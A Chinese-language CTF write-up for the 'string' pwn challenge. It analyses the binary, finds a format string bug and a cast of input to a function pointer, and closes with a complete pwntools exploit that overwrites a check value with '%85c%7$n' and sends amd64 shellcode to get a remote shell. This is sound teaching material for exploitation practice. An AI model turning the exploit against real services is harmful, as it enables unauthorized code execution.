string--writeup

文件下载地址:

链接:https://pan.baidu.com/s/1E2AYj1OK3ERkvq3EBEHP9A
提取码:pye1

0x01.分析

checksec:

string--writeup_第1张图片

64位程序,只有ASLR没有开启。

查看源码:

string--writeup_第2张图片

string--writeup_第3张图片 

string--writeup_第4张图片 

string--writeup_第5张图片 

string--writeup_第6张图片 

理清程序流程:

  1. 进入程序后,首先跳转到第一个有用的函数是400D72。
  2. 要求输入一个名字,长度要小于13。
  3. 然后进入400A7D,发现输入east可以返回。
  4. 接着进入400BB9,发现有多个输入,并且明显看到了格式化字符串漏洞。
  5. 进入400CA6,发现了将字符强制转换为函数指针的代码。
  6. 没有存在其它有用的代码了。

寻找并利用漏洞:

  1. 最明显的漏洞就是将v1强制转化为函数指针,这样程序就会去执行v1上的指令,如果我们使用一段shellcode,那么我们就可以得到shell。

    2.我们回溯去找执行这段代码的条件是*a=a[1],我们不断回去找,发现,a其实就是v3,*a=68,a[1]=85,程序中间没有任何修改这两个值的地方,很明显是完全不相等的。但我们发现主函数中打印出了a的地址,还有a[1]的地址。

string--writeup_第7张图片

   3.说明我们一定要利用这个地址去修改v3[0]的值。

   4.在查看源码的时候,发现,有一个函数存在格式化字符串漏洞,刚好利用这个漏洞去修改v3的值。

   5.首先需要确定偏移量,由于是64位程序,前6个参数从左到右存入寄存器,多余的才存入栈,所以我们最好不要把v3的地址放在格式化字符串中,因为有可能就被存入寄存器了,我们也可以用一个和地址相同长度的字符去尝试一下,一定要相同长度,不然无法确定,会发现在接下来的地址没有找到,所以我们肯定不能把v3的地址放在格式化字符串中,但前面有一个变量,可以存入长整型,我们就可以把地址存入前面的v2,然后测试一下偏移,如下:

string--writeup_第8张图片

可以看出,偏移量是7,于是我们可以开始构造脚本了。

0x03.exp

##!/usr/bin/env python
from pwn import*

r=remote("111.198.29.45",47547)
#r=process('./string')
#context.log_level = "debug"

r.recvuntil("secret[0] is ")
v3_0_addr=int(r.recv(7),16)
print(v3_0_addr)

r.sendlineafter("What should your character's name be:","ATFWUS")
r.sendlineafter("So, where you will go?east or up?:","east")
r.sendlineafter("go into there(1), or leave(0)?:","1")
r.sendlineafter("'Give me an address'",str(v3_0_addr))


payload="%85c%7$n"
#gdb.attach(r)
r.sendlineafter("And, you wish is:",payload)

#shellcode="\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
shellcode=asm(shellcraft.amd64.sh(),arch="amd64")
r.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode)
r.interactive()

string--writeup_第9张图片

 

你可能感兴趣的:(CTF-PWN,#,攻防世界-pwn,--,WriteUp)